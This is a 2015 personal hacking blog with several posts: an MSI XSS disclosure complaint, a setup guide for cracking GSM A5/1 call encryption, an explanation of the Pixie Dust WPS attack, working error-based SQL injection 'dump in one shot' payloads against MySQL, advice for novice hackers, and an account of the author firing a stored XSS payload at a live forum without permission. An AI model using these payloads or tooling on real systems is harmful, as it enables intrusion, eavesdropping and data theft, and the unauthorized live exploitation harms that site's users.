Tuesday, 11 August 2015

The substandard security practices of MSI

MSI and their substandard security practices.
This post is just a quick rant to highlight some issues with MSI who are primarily a hardware manufacturer, I decided to take a look through their sites for vulnerabilities in the hope they'd reward some merch for finding vulnerabilities - a long shot but worth a go right?
I pretty quickly found 2 XSS vectors on their pages, you can find them at the links below although they have subsequently been fixed:
I attempted to get in touch with them, sadly that provided much harder than I first thought, I looked for emails I could contact but they have nothing on their sites, I tried opening a ticket with their support system who provided to be incredibly unhelpful. I then went to their forums which apparently none of the staff work for MSI and aren't in touch with MSI. It was funny to scroll down the page and find other hackers registering on the forum to request exactly what I was, an email address to send sensitive vulnerability disclosures to, it seems like I'm not the only one that struggled to get a hold of them. I even tweeted their twitter accounts asking for directions to submit vulnerabilities with no reply - they've made it very hard work to get in touch with someone who could get this information to the right staff.
In the end I was contacted by a member of MSI team called Rex, he said he'd heard about that I'd found bugs on the site, so someone somewhere passed this info along but I have no idea where from, I wrote up a complete report on the vectors plus some other vulnerabilities I was concerned about.
I didn't get a single reply, I followed up asking if they wanted to discuss responsible disclosure and what time limit they wanted me to adhere to when disclosing the bugs, but again no reply, so I'm taking that to mean they don't care, so I've published them here.
They have been fixed as of testing today, and by fixed I mean in the weakest possible sense, they still allow arbitrary HTML through onto the page in the 2nd link except they deny <script> tags, this leaves them open to god knows how many other XSS vectors.
It would have only taken them 10 seconds to write a reply to me to say thank you and that they don't supply bug bounties, but they couldn't even manage that. Not only do MSI not care about security of their websites, they have no interest in making it easy to contact them, they don't run any kind of bug bounty or even have the common courtesy to reply to people who are responsibility disclosing vulnerabilities - basically screw MSI.

Tuesday, 28 April 2015


Passive GSM interception Part 1

This blog post will cover passive GSM interception of phone calls and text messages. It will include some of the history of GSM and how it was broken, the newer tools and attack methods and finally a guide on how to set up a test bed for interception using TWILIGHT VEGETABLE a suite of tools designed to make cracking GSM as easy as possible.

Part 1 of this guide will cover the requirements and setting up the environment, part 2 will cover traffic capture and decryption.


Global System for Mobile Communications (GSM for short) is a suite of protocols designed for second generation (2G) mobile phone communication, put simply it's used extensively around the world for making calls on your mobile.

GSM comes with various security features to authenticate users on the network, it uses the SIM of the caller to authenticate the mobile device with the base station using a pre-shared key and challenge/response, once authenticated the calls are encrypted with a stream-cipher typically A5/1 for America and most of Europe, you can read more about A5/1 here.

History of breaking A5/1

A5/1 has a long history of attacks, the Snowden leaks showed that the NSA can easily decrypt calls, there's also rumors that the strength of the standard when it was first introduced into Europe was deliberately limited with an encryption key length of only 56bits, this made interception by government agencies easier. The security work carried out on GSM has largely been kept private and out of the public domain, there has been many white papers and theoretical attacks but few projects have ever released easy to use tools until very recently.

Weaknesses in a5/1 were known as far back as 1994, however attacks on A5/1 as used in GSM didn't occur until 2003 where downgrade attacks forcing phones on to the much weak A5/2 stream cipher were possible. In 2007 COPACOBANA was developed as an FPGA hardware solution for attacks on A5/1 and DES, this was the first commercially available attack tool. In 2008 a group called The Hackers Choice started a project to break GSM using rainbow tables, a time memory trade off attack, however the tables were never released in to the public domain.

It wasn't until 2009 that Karsten Nohl and Sascha Krißler announced The A5/1 cracking project at Blackhat, you can find the talk on YouTube, part 1 is here. This project is similar to prior attacks and uses a mix of time memory trade off and distinguished point chains to create 2Tb of rainbow tables, a tool for using these tables called Kraken was also released, this allowed anyone to discover a5/1 keys for encrypted portions of GSM traffic.

Use of these tools was deliberately left difficult to help stop widespread use, this is where TWILIGHT VEGETABLE steps in. TWILIGHT VEGETABLE is one of many projects that are being developed by hackers working on the NSA Playset, it's essentially a custom distribution of Kali Linux with all the tools necessary to automate GSM sniffing pre-installed. The project was introduced at DefCon 22, you can see the presentation here. The project is aimed at making cracking of GSM as easy as possible.


While the project aims to make the process of decryption as easy as possible, it is still no trivial task setting up the tools, like most security work on GSM the documentation seems to be lacking and help is hard to find. Because of this I've written the following guide which will walk you through all the steps for setting up all the tools.


Here is everything you need in order to crack A5/1 using TWILIGHT VEGETABLE, note that while the rainbow tables are about 2Tb you'll need 4Tb of disk space total.

  • 2Tb USB external hard drive
  • 2Tb of additional storage
  • 16Gb USB flash drive
  • A USB SDR dongle based off the RTL chipset - example here
  • A laptop
  • Something that can uncompress .bz2 files, for windows I recommend 7zip from here.
  • The 7Gb compressed Twilight Vegetable image from here.
  • Something to write images to the USB drive, I recommend Win32 Disk Imager from here.
  • The 1.6Tb of Kraken GSM Rainbow tables, the torrents can be found here.

Step 1 - Create a TWILIGHT VEGETABLE bootable USB

The first step is to create a bootable USB flash drive with a install of TWILIGHT VEGETABLE. First you'll need to download the TWILIGHTVEGETABLE image from the link above, you'll also need some software to extract the image from the compressed bz2 file, on windows you can use a compression tool called 7zip, linked above. Once 7zip is installed, select the file "TWILIGHTVEGETABLE-1.0.img.bz2" file and extract the image, you'll need approximately 15.2Gb of space.

Plug in your 16Gb USB flash, make sure it doesn't contain any files you want to keep, as the following steps will erase everything on the drive. 

Download and install Win32 Disk Imager from the link above. Make sure you right click the applications and "run as administrator". Open the file browser and select your TWILIGHTVEGETABLE-1.0.img file. Use the device drop down menu and select the drive letter of your USB flash drive - it's important to get the drive letter right!

Click the "Write" button to write the contents of the img to the USB key, once this is finished you will have a bootable USB flash drive with all the tools you need.

Step 2 - Prepare your external 2Tb HDD

This next step is to create DRIZZLECHAIR by writing the rainbow tables into a partition on the external drive, they cannot simply be copied on to the drive, they're inserted inside a partition using a special tool, this is why you need an additional 2Tb of space on top of the 2Tb external drive.

Turn off the computer you want to use for copying the tables and insert your TWILIGHT VEGETABLE USB drive, then boot the machine from the USB key, in some cases this will happen automatically, otherwise you'll need to enter into your BIOS settings and set the boot order to boot from USB first, if you need to do this consult your motherboard manual for BIOS instructions. Once you've booted off the USB drive, select persistent mode to load Kali.

First you need to identify which mount name your 2Tb drive has, this step is crucial because if you get this wrong you'll delete the partitions on the wrong drive and if you accidentally delete the rainbow tables you'll be extremely mad. For the rest of this tutorial I'm going to use the mount name "sdz" you need to replace all instances of "sdz" in the instructions with your mount point name for the external drive, this will be different depending on your system. I am not responsible for any data loss if you do these steps incorrectly!

Open a terminal window and enter the following commands one at a time, remembering to replace ALL instances of sdz with your mount name.

umount /dev/sdz1
parted /dev/sdz rm 1
parted /dev/sdz mkpart primary 0g 5g
parted /dev/sdz mkpart primary 5g 100%
partprobe /dev/sdz
mkfs.ext3 -L DRIZZLECHAIR /dev/sdz1
e2label /dev/sdz1 DRIZZLECHAIR
partprobe /dev/sdz

These commands will mount the drive, remove any existing partitions, then it will create a 5Gb partition at the start of the drive (sdz1) where you can store the tools if you wish, and then create a 2nd partition (sdz2) which fills the rest of the drive which is where the rainbow tables will live, finally we format sdz1 with a file system and give it the label DRIZZLECHAIR. The drive is now prepared.

Step 3 - (OPTIONAL)

This step is optional depending on where you store your rainbow tables, if they're on a local disk attached to the computer you're booting off then skip straight to step 4.

For me the tables are shared on a file server on my network since my laptop doesn't have 2Tb of internal disk space, this step covers connecting Kali to a network share so you can copy files across the network. Beware this method is much slower than copying from an internal drive, an internal drive copy speed will take approximately 10 hours but across a wireless network it took about 3 days.

To connect to a windows share I installed cifs because I had trouble getting smb working, to install cifs make sure you have internet access, open a terminal window and type:

sudo apt-get install cifs-utils

Now create the mount point you want to use, you first need to create a new folder which I made at /mnt/gsm

cd /mnt/
mkdir gsm

Then you can mount your network share with the following command, replace "###.###.###.###" with the IP address of your network share, and "sharename" with the name of the shared folder. The 2nd path is where the share will be mounted to.

mount -t cifs //###.###.###.###/sharename /mnt/gsm

Double check you can browse this directory, if you get a permissions error make sure to set the shared folder settings to allow guest/anonymous access.

Step 4 - Preparing tools for use

The tool to insert the tables on to the drive is called TableConvert it's not actually compiled into the binaries so we need to do that first. Open a terminal window and browse to the TableConvert directory with:

cd /root/kraken/TableConvert

then compile the binaries by typing:

make TableConvert

We're not going to use this tool directly, we're going to use a wrapper called Behemoth.py which is a python tool already on the system in the /root/kraken/indexes directory. However the version that comes with the current version of TWILIGHT VEGETABLE is out of date and requires some extra work sym linking directories before use, it's just easier to download the latest copy of Behemoth.py with this already fixed. You can download this on github here, make sure to place it in the index directory and overwrite the current one.

Next we need to set up the config file which will point TableConvert to the right partition to insert the tables into. You need to make a copy of the sample conf file, in your terminal window type:

cp tables.conf.sample tables.conf

Now open this new tables.conf file for editing and remove the list of example devices and replace them with your drive and partition, the partition number will be 2, remember to replace sdz with your drive name. It should look something like this:

#Devices: dev/node max_tables
Device: /dev/sdz2 40
#Tables: dev id(advance) offset

The max tables value is set at 40 because there's 40 individual tables and we want them all on the same drive. Make sure to save changes to this file.

The last step is to copy all of the files from the /root/kraken folder in to the 5Gb partition at the start of the drive, when the tables are inserted into the external drive during the next step, index files are generated in the /indexes/ folder which are about 3.2Gb total, if you only have a 16Gb flash drive then you'll run out of space.

Mount the first partition of your DRIZZLECHAIR drive somewhere so you can get access via the terminal, I created a new directory in the /mnt/ folder called drizzlechair first,

cd /mnt/
mkdir drizzlechair

Then in a terminal type the following, remember to replace sdz with your drive name.

sudo mount -t ext3 /dev/sdz1 /mnt/drizzlechair

Copy the entire kraken folder to the DRIZLLECHAIR drive

cd /root/kraken
cp -R * /mnt/drizzlechair/kraken

Step 5 - Inserting the rainbow tables into the partition

Now to start the copy, make sure if you're using a laptop the power cord is in and nothing will interrupt the copy process, this step takes a long time. In a terminal window type:

cd /mnt/drizzlechair/kraken/indexes

Now type the following replacing "/mnt/gsm" with the directory you've stored the rainbow tables.

sudo python Behemoth.py /mnt/gsm

Sit back and relax, you'll get info pop up on the screen to tell you what table is currently being copied, you have a 10 hour wait from an internal drive or a something closer to 72 hours across a network.

Step 6 - The you dun goof'd step (OPTIONAL)

If for any reason the process is interrupted you can resume it, you'll first need to make note of the last table name that was being written to the drive. Simply trying to resume it by running Behemoth again will it will skip all the tables, you need to remove entries from the tables.conf file 

Open the tables.conf file for editing and you'll see this file now has an entry for all the tables, one per line, simply delete the lines of the tables that have not been written including the the last partially written one, save changes to the file. Now delete any index (.idx) files in the indexes directory for any tables that weren't written, they're given the same name as the table number.

Then run Behemoth again, it will skip all the other tables with entries in tables.conf and resume where it ended.

Step 7 - Testing

Lastly we test Kraken, switch to the kraken directory

cd /mnt/drizzlechair/kraken/Kraken

Run Kraken and give it the directory where the indexes are stored

./kraken /mnt/drizzlechair/kraken/indexes

Now run the test command


It should run a test string of binary, a reasonable speed from an external drive is about 160 seconds on average, I get about 180-185 seconds but it depends on your hardware, USB version, drive speed etc.

Next time on FrostyHacks

In part 2 of this guide I will cover capturing GSM traffic with a USB RTL-SDR device and the steps to extract the keys to submit to Kraken. It will be available as soon as I've got everything working myself!

I appreciate any comments and feedback both positive and negative, especially if there's any mistakes that need correcting. You can also contact me on Skype for help or if you're willing to assist with the SDR steps. SkypeID: frostyhacks

Wednesday, 8 April 2015

Pixies Pwn WPS

WPS hacked again.

The department of "so what else is new" brings you another couple of attacks against Wi-Fi Protected Setup (WPS), a feature available on most WPA enabled routers. The original attack is known as Pixie dust and is based on the security research of Dominique Bongard. You can find his video presentation here and slides here.

This blog post will go through an in depth description of what WPS is, a history of some older attacks, why those attacks are generally not sufficient today and finally a close look at the premise behind the new vulnerabilities that these new attacks exploit so you can learn how they work. Finally I will introduce the brand new tools and their authors as well as a tutorial for use.

What is WPS?

Wi-Fi Protected Setup is a feature found on most modern home routers which makes connecting devices much simpler, there's several methods for connecting wireless devices to the network however the vulnerable method is the PIN method which is what these attacks target.

When doing a WPS PIN connection, you simply provide an 8 digit numeric PIN for the network you want to join, the device handshakes with the network and if the PIN is correct it joins the network, simple right? Behind the scenes what is really occurring is a handshake between the device and Access Point (AP), they both exchange the WPS PIN in a secure way to do a mutual authentication, if the PIN is correct the password which protects the WPA network is sent to the device and the device uses that to authenticate against the AP.

The WPS PIN is normally set with a default value when the router is shipped and will appear in the documentation or on a sticker on the physical AP device. Most routers allow you to enable or disable WPS and some even let you pick a new PIN which might be randomly assigned or user defined.

Prior WPS weaknesses

The history of weaknesses in WPS and specific implementations is embarrassing to say the least, here are some of the prior vulnerabilities I'm aware of.
  • Manufacturers picking unique PINs for each of the routers they ship which are derived in some way from the unique MAC address of the router, see here. The MAC address is publicly beaconed for all wireless networks and can be passively sniffed allowing users to derive the PIN from the MAC.
  • Brute force attacks such as Reaver created by Craig Heffner exploit several weaknesses in the PIN exchange that reduce brute force attacks down to at most 11,000 PIN attempts which can be done within a few hours providing routers didn't have any kind of throttling with attempts or WPS lockout.
  • Some older routers would not disable WPS despite it being shown as disabled in the config page, this lead to some people thinking they are safe disabling WPS when really they were still vulnerable.
These vulnerabilities were very serious and in most new routers seem to be fixed, modern WPS enabled routers tend to throttle WPS attempts as per the specifications, often they will disable WPS all together after a certain number of failures. Step in Pixie dust.

The Pixie Dust attack

To understand how the Pixie dust attack works you need to be familiar with the WPS handshake that is performed during a WPS PIN exchange. You'll also need to know a bit about hashing and PRNGs both of which I'll give an intro to. Here is the handshake documentation for reference.

The enrolment occurs in 8 steps M1 to M8 and we're primarily concerned with steps M1-M3, to avoid confusion it's worth pointing out that the Enrollee is the AP and the device connecting is called the Registrar, it seems counter intuitive and the source of some confusion.

There's several requirements of this handshake that need to be filled in order to help keep it secure.

First of all it needs to be protected against replay attacks, these are attacks where adversaries sniff the network traffic of a genuine Registrar talking to the AP and recording the traffic, then simply replaying it back at a later date. To prevent this Nonces are used which are one time use random numbers, these are the N1 and N2 numbers in the handshake above. Because they're randomly generated for each new WPS handshake attempt it means you cannot replay back old handshake data and successfully authenticate.

Secondly, the authentication needs to be mutual. Not only does the AP need to verify that the connecting device knows the real PIN before it hands out the WPA password, but the connecting device also needs to know the AP is the genuine AP and not spoofed, before it hands over proof of the PIN. This stops hackers from putting up fake access points which wait until someone attempts to connect with a real PIN and harvesting the credentials. It also explains why the AP is handing over the PIN to the Registrar in the first place, at first this can seem counter intuitive to security of the system.

This mutual exchange of secret information is an interesting and complicated problem which is solved using cryptography. Instead of exchanging the PINs in plain text which would destroy any hope of mutual authentication, both the AP and the connecting device swap hashes of the PIN instead.


For anyone not already familiar with hashing, this is simply a mathematical function which can be applied to a plain text of arbitrary length and scrambles that text to be an unrecognizable fixed length value called the hash. Hashes are useful as it's impossible to reverse the hash back into the plain text, because of this they're typically used to protect information you want to keep secret like passwords or in this case the PIN.

The premise is that both the AP and the Registrar provide each other the hash of the PIN and not the PIN itself. This way the plain text of the PIN remains secret and is never directly exchanged. To verify the hash you are given is correct you'd simply hash your own PIN and then compare the hashes, if they're the same then you have verified the other device also knows the PIN. In reality this step is done by breaking the 8 digit pin in half and creating 2 hashes for the Enrollee and 2 hashes for the registrar.

It's worth noting that during the handshake the AP sends the Registrar these 2 hashes first in step M3. You could imagine one possible attack against this system is a brute force attack against the hashes E-Hash1 and E-Hash2.

While you cannot mathematically reverse hashes back to their plain text you can however hash every possible combination of plaintexts (for short plaintexts) and then compare the hashes and if you find a match then you know the plaintext that caused the hash, this is known as a brute force attack. Because the total number of possible PINs is very small a brute force is trivial, each half of the PIN is only 4 digits of 0-9 which puts the total number of hashes to check for the first half at 10^4, or 10,000 and the 2nd half at 10^3 or 1,000 tries (because the 4th digit is a checksum and isn't used), a total of 11,000 tries which a modern CPU can do in less than a second.

The designers of WPS knew this kind of attack would be possible so they added an extra step in the process to stop brute force attacks, they first generate 2 random numbers E-S1, E-S2 for the Enrollee, these are simply 2 strings of 128 random bits, the hashes E-Hash1 and E-Hash2 become the hash of the combined PIN + the random number.

Now it becomes impossible for the registrar to brute force the PIN out of the M3 step, you'd need to check all possible combinations of random numbers for 128bits multiplied by the number of different PINs which is computationally infeasible. However if we could somehow find the secret random numbers E-S1 and E-S2 through some other method then our brute force is simple. The Pixie dust attack uses 2 different methods to find these random numbers.

Attack 1

This is a super simple attack, a certain class of routers use static or just blank values for the 2 random number E-S1 and E-S2, the firmware for these routers can be downloaded from the manufactures websites or the source code found online to determine these keys. Obviously this is a very bad implementation of the protocol, chipsets caught doing this are only Ralink so far, however it's plausible that others are effected, it's implementation specific so individual testing is required.

Attack 2

The 2nd attack is much more sophisticated and requires some knowledge of how random numbers are generated. I'll urge you to read my blog post on Pseudo Random Number Generators (PRNGs) here first to get a more detailed overview of PRNGs and why they're insecure for use with security such as cryptography.

The layman's explanation is that PRNGs are not actually random, they're in fact entirely deterministic, they spit out a very long and predictable string of numbers and it's possible to determine the state the PRNG is in (how far it is through that large string). If you have some sample output it had previously generated you can simply run a PRNG continuously until you spot that pattern of randomness. Once you know the state the PRNG is in you can predict all future output with 100% accuracy.

In the case of Broadcom/Ecos chipsets they are using the rand() function in C which is a PRNG with an internal state small enough to easily brute force. If you look back to the handshake one thing you'll notice is that before the E-Hash1 and E-Hash2 are sent to the Registrar, a "random" nonce N1 is first created and sent in plain text.

The attack against these chipsets then becomes simple, the attacker starts the handshake and captures N1 from the access point, this is used to brute force the state of the PRNG of the access point, you run the PRNG forward another 256bits of randomness which are what is used to determine the 2x128bit keys E-S1 and E-S2. You then hash every possible combination the first 4 digits of the PIN with E-S1 and compare to E-Hash1, and the first 3 digits of the 2nd half of the PIN with E-S2 and compare against E-Hash2 to recover the entire PIN.

Once you have the correct PIN you start a new WPS handshake with the access point as normal providing the correct PIN first time and recovering the plain text password for the WPA network, this can be done with Reaver.


Unfortunately Dominique Bongard never released a proof of concept tool to demonstrate this so it's remained largely unused among hackers, until a few days ago. A hacker by the name of SoxRok2212 contacted me after discussing this attack on Hackforums.net, he wanted to create an attack tool, I explained the methodology of the attack in more detail and he found a coder named Wiire and they produced a working tool based on PoC code provided by DataHead. Big thanks to everyone who came together to make this work, apologies for prior inaccuracy crediting the relevant parties for the final tool.

You can find Pixiewps on github here
You need a modified version of Reaver 1.5 here

If you're looking for a clear and concise demo of it in use with instruction then check out this excellent tutorial by soxrok2212 on YouTube.


As always with WPS the mitigation for such attacks is to simply disable WPS, right now it's not clear to what extent this is a problem, it's implementation specific so there could be similar flaws in other chipsets and routers which haven't been tested yet. There's a document of known affected chipsets here but it's by no means exhaustive.

Thursday, 5 March 2015

Dumping all the polygons

DIOS for error based SQLi
I've been asked by a few people to provide DIOS (Dump In One Shot) examples for the newer method of error based SQLi against MySQL databases using the polygon() function. This post will quickly cover a generic example that can be adopted for your own use. If you do not know about error based SQLi you can read up my polygon() tutorial here.


You may already be familiar with DIOS, this is a method of dumping all rows of a table using just one line of SQL. Typically when doing SQLi you're limited to retrieving single strings in your modified query, these strings are inserted into the page content for example as an article headline or an author name. In order to dump lots of data using this method we have to concatenate all the fields we want to select into a single string, we quickly run into a problem when dumping large amounts of data where we reach the limit of the concat() and/or group_concat() functions - these limits are defined by the admin on the server but by default are only 1024 characters.
In order to bypass the limit of concat we can use user defined variables and keep appending individual rows from a table to the same variable and then simply select that variable as our result. I've explained this trick in great detail within the context of a union based SQLi attack vector here, I suggest you read this and become familiar with it first if you're new to DIOS.
The form of the original DIOS looks like this, it's just a fictional example for demonstration purposes, the red characters are the user supplied input. This query simply selects a list of tables names from information_schema.tables.
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_name))))x),3,4--
SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,(select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@)in (@:=concat(@,0x0a,table_name))))x),3,4--


Using the MySQL polygon() function we can do an error based SQLi attack, I've done another post on that here, again I suggest you read this attack in detail and become familiar with it first.
The form of the polygon() attack looks like this, again this is just an example.
http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))

Retrofitting DIOS for use with Polygon()

A naïve attempt to combine these together would to simply paste in the DIOS inside the inner most select of the Polygon() example, this will work however we need to make several modifications. First of all we cannot use the NULL character (0x00) when we declare and set our variable @, this will get turned from a DB NULL into a real NULL character in the output and cause the result to be blank, we can exchange this for another hex character, simply replace it with 0x01.
You might also have an issue with space in the output, for this you can reduce the amount of space taken up by any aliases you have assigned, simply assign blank aliases using '' (double apostrophe).
Our final query will look something like this when combined, I've given the DIOS part a blue colour and the red for the outer polygon() part of the select to make it easier to read.
 http://frostyhacks.blogspot.com/news/index.php?news_id=polygon((select * from (select * from ((select (@) from (select(@:=0x01),(select (@) from (information_schema.tables) where (table_schema>=@ and table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@) in (@:=concat(@,0x01,table_name))))x))a)b))
 Once again thanks to Benzi.

Thursday, 29 January 2015

Becoming a hacker

Advice for starting out.
This is some advice to new aspiring hackers who are just starting out and trying to learn. I get a lot of people contact me especially from hackforums.net who like my tutorials and want some help over Skype (Skype: frostyhacks).


First of all and most importantly, drop the agenda. More than 90% of the people who are contacting me have an agenda, they have someone they want to hack for some reason, they're learning not for the sake of gaining a deep understanding of how to hack but because they want the smallest number of steps to achieve their goal.
If you're new to hacking and your intention is to jump straight into doing illegal things and you have little knowledge then you're more than likely going to get into some serious trouble with the law. Hacking often isn't the hardest part, doing it safely and anonymously is a lot harder, picking on specific targets and remaining safe is something you should consider 6-12 months down the line.
You also need to get some perspective on the situation. Almost all hacking techniques are opportunistic, by that I mean vulnerabilities aren't something that always exist, you can test for them and if they exist you can exploit them, if they don't exist you have to move onto the next vulnerability. If you spend weeks learning SQLi and test your targets website, there's a good chance they won't be vulnerable to it. You may need to learn several different methods of attack before you find one that works. It's possible you may never be able to attack directly, some systems are just too secure.
If you're starting with an agenda then you may be extremely disappointed to know that after all that effort you still can't do it. It makes more sense to learn to hack because it interests you, if you just trying to learn to hack to get revenge on some one then just pay someone else to do it for you. You wouldn't bother to learn how an entire car works in order to fix a problem with your car, you just take it to a mechanic.

Manage your expectations

This is very important. Most people contacting me need a massive shift in their expectations with the time and effort it takes to get good at hacking. You're not going to blow through an SQLi guide in a few hours and be hacking like a pro, following instructions is not the same as learning! Computer hacking in my opinion is largely knowing more about security than your target, that means being smart, it means being educated and the path to that goal is to spend a lot of time learning and practicing.
If you're consumed with trying to meet your agenda of revenge then you're probably trying to blow through a tutorial or guide as quickly as possible and getting stuck and confused and probably extremely frustrated. If this sounds familiar you need to stop for a moment and re-adjust your expectations - you won't be hacking in a few hours or days, you need to consider that you'll spend weeks or months at getting good at a handful of disciplines.
If you're hopelessly lost on advanced tutorials then you'll have to go back and learn the basics first and I generally advocate this in my guides, you need to learn some JavaScript before you can do XSS and you need to learn some SQL before you can do SQL injection. Again with the car analogies, it'd be like trying to learn to tune your engine without first knowing what the components are and how they work.

Help yourself

Start learning to help yourself, don't rely on hand holding, go out and search for guides and tutorials in the types of hacking you want to do and be proactive. When people contact me for help one of the biggest factors as to how much help I give is down to how much work or effort you've done yourself.
If person A contacts me as says, "I've followed your guide and it makes sense but I'm stuck at step number 7, and I've tried X and I've tried Y but I don't quite understand" then I'm likely to help that person as best I can.
If person B contacts me and says "I've read your guide but I don't really understand it, can you  teach me?", my answer is going to be no. You've made no effort to learn yourself, if you need help with step 1 then you'll need help with all the steps and I'm not tutoring someone in hacking, at least not for free.
Demonstrate that you've made an effort to figure it out when you're stuck and if you still cannot figure it out then I'm happy to help explain specific steps or where you're going wrong.


Don't bother asking me for help if:
1) You're new to hacking and only want to learn to screw with someone.
2) You're frustrated and angry because you're stuck after only a few minutes
3) You've made no effort to help your self or work it out.

Sunday, 11 January 2015

Hard scripting

Adventures in XSS Pt2

My plans are to expand my previous "adventures in XSS" post into what will hopefully become a long running series. I want to detail my casual discovery of XSS on the web during day to day browsing, none of my professional penetration testing will ever be revealed to the public. I want to highlight a phenomena in this post which many white hat hackers may have run into, and that's complacency of website owners.


When I was attending University, some 10+ years ago, my flatmates introduced me to Hard|OCP, one of the more respected computer hardware enthusiast websites, at the age of 19 I already had a fascination with computer hardware, but it was Hard|OCP that introduced me to bench marking and overclocking for the first time.

I was a loyal member of the community for many years, extremely naive as a relatively late comer to the hardware scene. I engaged in fanboyism to justify my purchases and plenty of healthy banter, I loved learning as much as I could from everyone.

Fast forward 7-8 years and my time with Hard|OCP had come to an end, a difference in opinion of review techniques left me unable to really make use of their content and some bad decisions by their forum moderators in how they handle running the forums marked my exit. I quickly gravitated towards the Anandtech community where I made my new home and have been since.


About 6 months ago I was showing my brother some examples of what I had been learning by tinkering with computer security, without much thought I loaded Hard|OCP and I set out to give him an entirely fictional example of how things like SQLi and XSS worked. It was during that process that I realised that I'd accidentally stumbled across a real examples of XSS. I was surprised at the time although on reflection the relatively old and now retro style of Hard|OCP suggests that development probably hasn't occurred for years and that security might not be great.

Some time later I decided to thoroughly test out the site to try and give something back to the community by finding any exploits and reporting them to Kyle the owner. I methodically went through each page, each section, all the archives, every feature and I tested it for every exploit I knew how to perform. When I was done I had found XSS on the search page, some strange overflow problem with the archive system where extremely long parameters would actually cause PHP source code to spill into the HTML source potentially revealing sensitive information, and XSS in their forum posts. They take the newest 10 forum thread titles and put them on the front page without sanitising them. The forum itself did not sanitise the input before putting it into the database, instead it does it after the data is pulled from the database but before it lands on the final page.

This should act as a cautionary tale to everyone. Sanitising input is important and doing it after being pulled from the database rather than before it's put in is seen by some as the proper way to sanitise data (after all these characters don't have any special meaning in the context of the database, only the page). While I agree with that methodology it does leave all future development potentially vulnerable to XSS as developers may add new features and simply forget to do the basic security checks.

As a penetration tester for web technology, one important lesson to learn is how to find user input. User input comes in many different forms, the most obvious is anywhere a user literally provides text input as part of a legitimate function of the website, for example forum posts or news comments. However these are obvious and often the first thing to be checked and fixed, there's usually a lot less obvious ones that require more creativity to spot, using the forum as an attack vector on the main site (they're hosted separately) is a good example.

Responsible Disclosure

It was at this point I contacted Kyle Bennett the owner of Hard|OCP, I had tested the reflected XSS vectors in the search feature and abused the archive page parameters, but testing a stored XSS exploit was something I really wanted his permission to do. I fired him and email and explained the exploits, he was fast to respond and seemed eager to fix everything, despite not being a PHP developer I explained the standard steps for preventing XSS which is to HTML encode all user input, something which takes a competent coder just a few minutes. He set his developer onto fixing this immediately.

Meanwhile I speculated that an XSS attack might be possible from forum thread titles, I'd observed the page caching forum threads every 15-30 minute intervals, I'd seen rogue instances of people using special HTML characters in their forum titles purely through normal use. So I asked Kyle if I could test and promised to not cause any interruption. He agreed and I went about firing through forum threads with enough HTML markup in them to test exposure without ever creating a problem on the front page. I quickly confirmed this vulnerability and he added it to the list of things to be fixed.


Unfortunately one of the biggest problems you'll run into as a white hat hacker is complacency, people have little to no motivation to spend time, effort and money fixing security issues unless they have a really solid understanding of the potential fallout caused by the problem. Even when you provide a penetration testing service for free (something that would otherwise cost upwards of thousands of dollars), they're often not motivated to fix issues, especially if the vulnerabilities have no impact on the current operation of the site/service.

While it's true that Kyle addressed most of the issues, it's also true that he left the forum XSS wide open. I did spend several weeks keeping track of the issue and waiting for a fix, in the end I emailed him again as a reminder that this was still an issue and a particularly nasty one. Before long I forgot about the site, it was only in the last few days I came back and checked the front page for exploits, sure enough the forum threads were still coming through unfiltered. Kyle had everything he needed, he knew the attack vector and knew the seriousness of it, all that was lacking was motivation.

We now enter a moral gray area, because my motivations are good, I want Hard|OCP to be secure and all the users to be safe, however these actions reveal the vulnerability for anyone else savvy enough to copy and abuse. In the end I decided that I'd take the shock route and try and deliberately minimize the disruption in the meantime.

The hack

The forums threads are pulled periodically from the database by arrangement of date created, they're then cached and used on the front page, the threads drop off as new ones are added, at Hard|OCP's peak that's about 7-8 threads per refresh. So I carefully timed when the updates were happening, I measured the times the posts rotated out, I wanted to post the thread as close to the update as possible, after all I didn't want a forum moderator deleting the thread before the front page had a chance to cache it. I also didn't want the front page to display the hack too long, luckily the natural cycle of the forum posts would quite quickly cycle out the hack. I planned it for a time of day with a lot of forum activity to naturally push the hack off the front page in the shortest time. I then posted a basic javascript alert saying "Fix me :(" and then went to lunch at the pub and had a few beers in anticipation of what was to come.

This is all it took:

:("/><script>alert('Fix me :\'(');</script>

There was only space for a few characters to deal with, they shorten any really long thread title in order to fit neatly on the front page, this attack was 1 character short. It didn't cause any real disruption just the alert, the site worked as normal otherwise. I'd have tidied up the HTML after it had I more characters to deal with.

The fallout

What happened next was exactly what I expected, a bunch of users were hit with popups, a few smart people spotted the exploit on the font page, they checked the source code to find the point of origin, that listed the forum thread ID. Several posts appeared in thread I had started, they joked about XSS and how they typically browse with noscript enabled, a smart choice.

Moments later threads popped up in the website feedback forums, people who don't know XSS had spotted the popups and reported them, one user calmed everyone by saying Kyle and his team were "on it", clearly indicating this had been reported and acknowledged. I have no doubt Kyle knows the source of the issue as I did it from my real forum account and they'd found the thread and removed it already.

An hour or so later all the threads were deleted, my account was banned (bye bye 6000 post count) and there exists no sign it ever happened. Quickly checking the thread names on the front page later in the day, this is still not fixed, despite the fix being just a few lines of code. In PHP all you have to do is implement the htmlspecialchar() function to remove all special characters from the user supplied input.


This whole ordeal raises some interesting ethical questions and for experienced white hat hackers this almost certainly isn't unfamiliar territory. You quickly become accustomed to the types of exploits that are possible and the fallout they can potentially bring, however conveying that to site owners who aren't code savvy is a tricky task. Often fixing these issues cost development time and money. You can repeat vulnerabilities over and over and allow months to go by when developers only need mere minutes to fix, but eventually you have to accept that until something bad happens, this probably isn't going to get fixed. Let me clear this has nothing to do with Kyle, it's just a general pattern that many owners fall into. Add to the fact that bad things are often done with some level of stealth (not everyone wants to deface) and that acts as a motivator to get site owners to take action now rather than later.

